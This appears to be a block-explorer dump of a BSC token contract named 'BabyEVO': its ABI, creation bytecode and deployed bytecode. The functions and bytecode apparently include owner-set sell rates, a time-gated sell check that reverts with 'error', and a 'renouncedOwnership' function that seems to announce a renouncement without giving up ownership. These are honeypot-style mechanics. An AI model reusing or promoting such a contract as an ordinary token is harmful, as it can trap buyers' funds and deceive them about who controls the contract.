int256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renouncedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600b8054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182168117909255600c80549091169091179055620000486009600a620005c6565b620000599064174876e800620005de565b600d8190556200006c90600019620005f8565b6200007a906000196200061b565b600e556002600f5561012c601055604080516080808201835260008083526020808401829052838501829052606093840182905260188290556019829055601a829055601b82905584519283018552818352820181905292810183905201819052601c819055601d819055601e819055601f556025805463ffff00ff60a01b1916630101000160a01b1790553480156200011357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e54600360006200016f6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000211919062000631565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000285919062000631565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f9919062000631565b602580546001600160a01b03199081166001600160a01b039384161790915560248054909116918316919091179055600160066000620003416000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553080825260068552838220805487166001908117909155600c548416835284832080548816821790557ff3201160657097c8e7a5d86f61d804c5cb2babe33afb20a197fcec83399045d1805488168217905581835260079095528382208054871686179055600a805480870182557fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a890810180546001600160a01b031990811690941790556025805486168552958420805490981687179097559354845495860185559390915292909301805490921692169190911790556200045a6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620004a291815260200190565b60405180910390a3506200065c565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000508578160001904821115620004ec57620004ec620004b1565b80851615620004fa57918102915b93841c9390800290620004cc565b509250929050565b6000826200052157506001620005c0565b816200053057506000620005c0565b8160018114620005495760028114620005545762000574565b6001915050620005c0565b60ff841115620005685762000568620004b1565b50506001821b620005c0565b5060208310610133831016604e8410600b841016171562000599575081810a620005c0565b620005a58383620004c7565b8060001904821115620005bc57620005bc620004b1565b0290505b92915050565b6000620005d760ff84168362000510565b9392505050565b8082028115828204841417620005c057620005c0620004b1565b6000826200061657634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620005c057620005c0620004b1565b6000602082840312156200064457600080fd5b81516001600160a01b0381168114620005d757600080fd5b612769806200066c6000396000f3fe60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e645191461084d578063ea2f0b3714610883578063ecbde40c146108a3578063f2fde38b146108d0578063f77fb6b9146108f0578063f92140051461091057600080fd5b8063a8be9a5814610759578063a9059cbb14610786578063bc0ad5a3146107a6578063c49b9a80146107c7578063cc5006b3146107e7578063dd62ed3e1461080757600080fd5b80638da5cb5b116101135780638da5cb5b146106c257806395d89b41146102985780639b26c923146106e05780639ba5e4d5146106f6578063a39801c614610719578063a457c2d71461073957600080fd5b806370a08231146105cc578063713898cd146105ec57806373cafdc21461062f578063786564c41461065257806379fdd832146106725780638b7afe2e1461069257600080fd5b80633685d419116101fe5780634549b039116101b75780634549b039146104f25780634a74bb021461051257806351ecfeae1461053357806352390c021461055357806352892884146105735780635342acb41461059357600080fd5b80633685d41914610427578063370f0a601461044757806339509351146104675780633ccfd60b146104875780634359a8711461049c578063437823ec146104d257600080fd5b806323b872dd1161025057806323b872dd14610375578063275d53ce146103955780632d838119146103b5578063313ce567146103d557806331b72ff0146103f157806334ef80bc1461040757600080fd5b806306fdde0314610298578063095ea7b3146102d757806316a9de141461030757806318160ddd1461033f57806320365d5f1461035e57600080fd5b3661029357005b600080fd5b3480156102a457600080fd5b5060408051808201825260078152664261627945564f60c81b602082015290516102ce919061240b565b60405180910390f35b3480156102e357600080fd5b506102f76102f2366004612475565b610930565b60405190151581526020016102ce565b34801561031357600080fd5b50600c54610327906001600160a01b031681565b6040516001600160a01b0390911681526020016102ce565b34801561034b57600080fd5b50600d545b6040519081526020016102ce565b34801561036a57600080fd5b50610373610947565b005b34801561038157600080fd5b506102f761039036600461249f565b6109d2565b3480156103a157600080fd5b506103736103b03660046124eb565b610a47565b3480156103c157600080fd5b506103506103d0366004612506565b610a8f565b3480156103e157600080fd5b50604051600981526020016102ce565b3480156103fd57600080fd5b5061035060105481565b34801561041357600080fd5b50610373610422366004612506565b610b0c565b34801561043357600080fd5b5061037361044236600461251f565b610b3b565b34801561045357600080fd5b5061037361046236600461251f565b610cf1565b34801561047357600080fd5b506102f7610482366004612475565b610dfc565b34801561049357600080fd5b50610373610e33565b3480156104a857600080fd5b506103506104b736600461251f565b6001600160a01b031660009081526008602052604090205490565b3480156104de57600080fd5b506103736104ed36600461251f565b610e8c565b3480156104fe57600080fd5b5061035061050d36600461253a565b610eda565b34801561051e57600080fd5b506025546102f790600160b81b900460ff1681565b34801561053f57600080fd5b5061037361054e366004612566565b610f64565b34801561055f57600080fd5b5061037361056e36600461251f565b610fa2565b34801561057f57600080fd5b50602554610327906001600160a01b031681565b34801561059f57600080fd5b506102f76105ae36600461251f565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156105d857600080fd5b506103506105e736600461251f565b6110f5565b3480156105f857600080fd5b50601c54601d54601e54601f5461060f9392919084565b6040805194855260208501939093529183015260608201526080016102ce565b34801561063b57600080fd5b50601854601954601a54601b5461060f9392919084565b34801561065e57600080fd5b5061037361066d366004612566565b611154565b34801561067e57600080fd5b50602454610327906001600160a01b031681565b34801561069e57600080fd5b506016546017546106ad919082565b604080519283526020830191909152016102ce565b3480156106ce57600080fd5b506000546001600160a01b0316610327565b3480156106ec57600080fd5b50610350600f5481565b34801561070257600080fd5b5060125460135460145460155461060f9392919084565b34801561072557600080fd5b506102f7610734366004612598565b611192565b34801561074557600080fd5b506102f7610754366004612475565b611208565b34801561076557600080fd5b5061035061077436600461251f565b60086020526000908152604090205481565b34801561079257600080fd5b506102f76107a1366004612475565b611257565b3480156107b257600080fd5b506025546102f790600160a01b900460ff1681565b3480156107d357600080fd5b506103736107e23660046124eb565b611278565b3480156107f357600080fd5b50600b54610327906001600160a01b031681565b34801561081357600080fd5b506103506108223660046125cd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561085957600080fd5b5061035061086836600461251f565b6001600160a01b031660009081526009602052604090205490565b34801561088f57600080fd5b5061037361089e36600461251f565b6112fa565b3480156108af57600080fd5b506103506108be36600461251f565b60096020526000908152604090205481565b3480156108dc57600080fd5b506103736108eb36600461251f565b611345565b3480156108fc57600080fd5b5061037361090b3660046124eb565b61142f565b34801561091c57600080fd5b50601154610327906001600160a01b031681565b600061093d338484611477565b5060015b92915050565b6000546001600160a01b0316331461097a5760405162461bcd60e51b8152600401610971906125f7565b60405180910390fd5b600080546040516001600160a01b039091169182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3600080546001600160a01b031981166001600160a01b03909116179055565b60006109df84848461159b565b610a318433610a2c856040518060600160405280602881526020016126e7602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611788565b611477565b50602554600160b01b900460ff165b9392505050565b6000546001600160a01b03163314610a715760405162461bcd60e51b8152600401610971906125f7565b60258054911515600160b01b0260ff60b01b19909216919091179055565b6000600e54821115610af65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610971565b6000610b006117b4565b9050610a408184612642565b6000546001600160a01b03163314610b365760405162461bcd60e51b8152600401610971906125f7565b601055565b6000546001600160a01b03163314610b655760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03811660009081526007602052604090205460ff16610bcd5760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610971565b60005b600a54811015610ced57816001600160a01b0316600a8281548110610bf757610bf7612664565b6000918252602090912001546001600160a01b031603610cdb57600a8054610c219060019061267a565b81548110610c3157610c31612664565b600091825260209091200154600a80546001600160a01b039092169183908110610c5d57610c5d612664565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600a805480610cb557610cb561268d565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610ce5816126a3565b915050610bd0565b5050565b6001600160a01b03811660009081526007602052604090205460ff16610dcc576001600160a01b0381166000908152600760209081526040808320805460ff19166001179055600390915290205415610d80576001600160a01b038116600090815260036020526040902054610d6690610a8f565b6001600160a01b0382166000908152600460205260409020555b600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381166000908152600660205260409020805460ff19166001908117909155610ced90826117d7565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161093d918590610a2c9086906126bc565b6000546001600160a01b03163314610e5d5760405162461bcd60e51b8152600401610971906125f7565b6040514790339082156108fc029083906000818181858888f19350505050158015610ced573d6000803e3d6000fd5b6000546001600160a01b03163314610eb65760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600d54831115610f2e5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610971565b81610f4a576000610f408460016117ec565b5191506109419050565b6000610f578460016117ec565b6020015191506109419050565b6000546001600160a01b03163314610f8e5760405162461bcd60e51b8152600401610971906125f7565b601893909355601991909155601a55601b55565b6000546001600160a01b03163314610fcc5760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03811660009081526007602052604090205460ff16156110355760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610971565b6001600160a01b0381166000908152600360205260409020541561108f576001600160a01b03811660009081526003602052604090205461107590610a8f565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff161561113257506001600160a01b031660009081526004602052604090205490565b6001600160a01b03821660009081526003602052604090205461094190610a8f565b6000546001600160a01b0316331461117e5760405162461bcd60e51b8152600401610971906125f7565b601c93909355601d91909155601e55601f55565b6000836000036111a457506000610a40565b60006111b0854261267a565b905060105481036111c5576001915050610a40565b806000036111ec576011546001600160a01b038481169116146111ec576000915050610a40565b8381116111fd576001915050610a40565b506000949350505050565b600061093d3384610a2c8560405180606001604052806025815260200161270f602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611788565b600061126433848461159b565b5050602554600160a01b900460ff16919050565b6000546001600160a01b031633146112a25760405162461bcd60e51b8152600401610971906125f7565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906112ef90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146113245760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461136f5760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b0381166113d45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610971565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146114595760405162461bcd60e51b8152600401610971906125f7565b60258054911515600160a01b0260ff60a01b19909216919091179055565b6001600160a01b0383166114d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610971565b6001600160a01b03821661153a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610971565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610971565b6001600160a01b0382166116615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610971565b600081116116c35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610971565b6116cc836110f5565b8111156117345760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610971565b6001600160a01b0383166000908152600660205260409020546117839084908490849060ff168061177d57506001600160a01b03861660009081526006602052604090205460ff165b15611834565b505050565b600081848411156117ac5760405162461bcd60e51b8152600401610971919061240b565b505050900390565b60008060006117c1611dfe565b90925090506117d08183612642565b9250505090565b6000610a40836001600160a01b038416611f81565b6117f46123b1565b6117fe8383612074565b905061181381848461180e6117b4565b612152565b60a08701526080860152606085015260408401526020830152815292915050565b8015611a03576025546001600160a01b039081169085160361190a576000546001600160a01b0385811691161480159061187c57506000546001600160a01b03848116911614155b801561189257506001600160a01b038316600114155b156118d2576001600160a01b03831660009081526008602052604081205490036118d2576001600160a01b03831660009081526008602052604090204290555b601180546001600160a01b0319166001600160a01b038516179055601854602055601954602155601a54602255601b54602355611a7d565b6000546001600160a01b0385811691161480159061193657506000546001600160a01b03848116911614155b801561194c57506001600160a01b038316600114155b156119cb576001600160a01b03841660009081526008602052604081205461197790600f5487611192565b9050806119ae5760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610971565b506001600160a01b03841660009081526009602052604090204290555b601c54602055601d54602155601e54602255601f54602355601180546001600160a01b0319166001600160a01b038616179055611a7d565b6001600160a01b03841660009081526006602052604090205460ff1615611a4057601180546001600160a01b0319166001600160a01b0386161790555b6001600160a01b03831660009081526006602052604090205460ff1615611a7d57601180546001600160a01b0319166001600160a01b0385161790555b6000611a8983836117ec565b6001600160a01b03861660009081526007602052604090205490915060ff168015611acd57506001600160a01b03841660009081526007602052604090205460ff16155b15611b14576001600160a01b038516600090815260046020526040902054611af690849061267a565b6001600160a01b038616600090815260046020526040902055611c5a565b6001600160a01b03851660009081526007602052604090205460ff16158015611b5557506001600160a01b03841660009081526007602052604090205460ff165b15611ba05760c08101516001600160a01b038516600090815260046020526040902054611b8291906126bc565b6001600160a01b038516600090815260046020526040902055611c5a565b6001600160a01b03851660009081526007602052604090205460ff168015611be057506001600160a01b03841660009081526007602052604090205460ff165b15611c5a576001600160a01b038516600090815260046020526040902054611c0990849061267a565b6001600160a01b038087166000908152600460205260408082209390935560c084015191871681529190912054611c4091906126bc565b6001600160a01b0385166000908152600460205260409020555b80516001600160a01b038616600090815260036020526040902054611c7f919061267a565b6001600160a01b0380871660009081526003602090815260408083209490945584015191871681529190912054611cb691906126bc565b6001600160a01b0385166000908152600360205260409020558115611d7d57611ce781604001518260e00151612204565b611cfa8160600151826101000151612233565b611d0d81608001518261012001516122d5565b611d208160a00151826101400151612304565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101200151846101000151611d6b91906126bc565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051611dc691815260200190565b60405180910390a3611dd9600185612344565b50611de3856110f5565b600003611df757611df56001866117d7565b505b5050505050565b600e54600d546000918291825b600a54811015611f50578260036000600a8481548110611e2d57611e2d612664565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611e9857508160046000600a8481548110611e7157611e71612664565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611eae57600e54600d54945094505050509091565b60036000600a8381548110611ec557611ec5612664565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611ef4908461267a565b925060046000600a8381548110611f0d57611f0d612664565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611f3c908361267a565b915080611f48816126a3565b915050611e0b565b50600d54600e54611f619190612642565b821015611f7857600e54600d549350935050509091565b90939092509050565b6000818152600183016020526040812054801561206a576000611fa560018361267a565b8554909150600090611fb99060019061267a565b905081811461201e576000866000018281548110611fd957611fd9612664565b9060005260206000200154905080876000018481548110611ffc57611ffc612664565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061202f5761202f61268d565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610941565b6000915050610941565b61207c6123b1565b8161208d5760c08101839052610941565b60205460649061209d90856126cf565b6120a79190612642565b60e08201526021546064906120bc90856126cf565b6120c69190612642565b6101008201526022546064906120dc90856126cf565b6120e69190612642565b6101208201526023546064906120fc90856126cf565b6121069190612642565b610140820181905261012082015161010083015160e0840151612129908761267a565b612133919061267a565b61213d919061267a565b612147919061267a565b60c082015292915050565b60008080808080612163878a6126cf565b95508761217e575084935060009250829150819050806121f7565b868a60e0015161218e91906126cf565b9350868a61010001516121a191906126cf565b9250868a61012001516121b491906126cf565b9150868a61014001516121c791906126cf565b90508082846121d6878a61267a565b6121e0919061267a565b6121ea919061267a565b6121f4919061267a565b94505b9499939850945094509450565b81600e54612212919061267a565b600e556012805482919060009061222a9084906126bc565b90915550505050565b806016600001600082825461224891906126bc565b9091555050601380548291906000906122629084906126bc565b9091555050306000908152600360205260409020546122829083906126bc565b3060009081526003602090815260408083209390935560079052205460ff1615610ced57306000908152600460205260409020546122c19082906126bc565b306000908152600460205260409020555050565b80601660010160008282546122ea91906126bc565b9091555050601480548291906000906122629084906126bc565b806012600301600082825461231991906126bc565b9091555050600d5461232c90829061267a565b600d55600e5461233d90839061267a565b600e555050565b6000610a40836001600160a01b0384166000612373838360009081526001919091016020526040902054151590565b6123a957508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610941565b506000610941565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208083528351808285015260005b818110156124385785810183015185820160400152820161241c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461247057600080fd5b919050565b6000806040838503121561248857600080fd5b61249183612459565b946020939093013593505050565b6000806000606084860312156124b457600080fd5b6124bd84612459565b92506124cb60208501612459565b9150604084013590509250925092565b8035801515811461247057600080fd5b6000602082840312156124fd57600080fd5b610a40826124db565b60006020828403121561251857600080fd5b5035919050565b60006020828403121561253157600080fd5b610a4082612459565b6000806040838503121561254d57600080fd5b8235915061255d602084016124db565b90509250929050565b6000806000806080858703121561257c57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000606084860312156125ad57600080fd5b83359250602084013591506125c460408501612459565b90509250925092565b600080604083850312156125e057600080fd5b6125e983612459565b915061255d60208401612459565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261265f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b818103818111156109415761094161262c565b634e487b7160e01b600052603160045260246000fd5b6000600182016126b5576126b561262c565b5060010190565b808201808211156109415761094161262c565b80820281158282048414176109415761094161262c56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220179f5d00461290ed9b730f462055095a4fd5e4dd01f2268f498b896a5c930c6564736f6c63430008120033

Deployed Bytecode

0x60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e645191461084d578063ea2f0b3714610883578063ecbde40c146108a3578063f2fde38b146108d0578063f77fb6b9146108f0578063f92140051461091057600080fd5b8063a8be9a5814610759578063a9059cbb14610786578063bc0ad5a3146107a6578063c49b9a80146107c7578063cc5006b3146107e7578063dd62ed3e1461080757600080fd5b80638da5cb5b116101135780638da5cb5b146106c257806395d89b41146102985780639b26c923146106e05780639ba5e4d5146106f6578063a39801c614610719578063a457c2d71461073957600080fd5b806370a08231146105cc578063713898cd146105ec57806373cafdc21461062f578063786564c41461065257806379fdd832146106725780638b7afe2e1461069257600080fd5b80633685d419116101fe5780634549b039116101b75780634549b039146104f25780634a74bb021461051257806351ecfeae1461053357806352390c021461055357806352892884146105735780635342acb41461059357600080fd5b80633685d41914610427578063370f0a601461044757806339509351146104675780633ccfd60b146104875780634359a8711461049c578063437823ec146104d257600080fd5b806323b872dd1161025057806323b872dd14610375578063275d53ce146103955780632d838119146103b5578063313ce567146103d557806331b72ff0146103f157806334ef80bc1461040757600080fd5b806306fdde0314610298578063095ea7b3146102d757806316a9de141461030757806318160ddd1461033f57806320365d5f1461035e57600080fd5b3661029357005b600080fd5b3480156102a457600080fd5b5060408051808201825260078152664261627945564f60c81b602082015290516102ce919061240b565b60405180910390f35b3480156102e357600080fd5b506102f76102f2366004612475565b610930565b60405190151581526020016102ce565b34801561031357600080fd5b50600c54610327906001600160a01b031681565b6040516001600160a01b0390911681526020016102ce565b34801561034b57600080fd5b50600d545b6040519081526020016102ce565b34801561036a57600080fd5b50610373610947565b005b34801561038157600080fd5b506102f761039036600461249f565b6109d2565b3480156103a157600080fd5b506103736103b03660046124eb565b610a47565b3480156103c157600080fd5b506103506103d0366004612506565b610a8f565b3480156103e157600080fd5b50604051600981526020016102ce565b3480156103fd57600080fd5b5061035060105481565b34801561041357600080fd5b50610373610422366004612506565b610b0c565b34801561043357600080fd5b5061037361044236600461251f565b610b3b565b34801561045357600080fd5b5061037361046236600461251f565b610cf1565b34801561047357600080fd5b506102f7610482366004612475565b610dfc565b34801561049357600080fd5b50610373610e33565b3480156104a857600080fd5b506103506104b736600461251f565b6001600160a01b031660009081526008602052604090205490565b3480156104de57600080fd5b506103736104ed36600461251f565b610e8c565b3480156104fe57600080fd5b5061035061050d36600461253a565b610eda565b34801561051e57600080fd5b506025546102f790600160b81b900460ff1681565b34801561053f57600080fd5b5061037361054e366004612566565b610f64565b34801561055f57600080fd5b5061037361056e36600461251f565b610fa2565b34801561057f57600080fd5b50602554610327906001600160a01b031681565b34801561059f57600080fd5b506102f76105ae36600461251f565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156105d857600080fd5b506103506105e736600461251f565b6110f5565b3480156105f857600080fd5b50601c54601d54601e54601f5461060f9392919084565b6040805194855260208501939093529183015260608201526080016102ce565b34801561063b57600080fd5b50601854601954601a54601b5461060f9392919084565b34801561065e57600080fd5b5061037361066d366004612566565b611154565b34801561067e57600080fd5b50602454610327906001600160a01b031681565b34801561069e57600080fd5b506016546017546106ad919082565b604080519283526020830191909152016102ce565b3480156106ce57600080fd5b506000546001600160a01b0316610327565b3480156106ec57600080fd5b50610350600f5481565b34801561070257600080fd5b5060125460135460145460155461060f9392919084565b34801561072557600080fd5b506102f7610734366004612598565b611192565b34801561074557600080fd5b506102f7610754366004612475565b611208565b34801561076557600080fd5b5061035061077436600461251f565b60086020526000908152604090205481565b34801561079257600080fd5b506102f76107a1366004612475565b611257565b3480156107b257600080fd5b506025546102f790600160a01b900460ff1681565b3480156107d357600080fd5b506103736107e23660046124eb565b611278565b3480156107f357600080fd5b50600b54610327906001600160a01b031681565b34801561081357600080fd5b506103506108223660046125cd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561085957600080fd5b5061035061086836600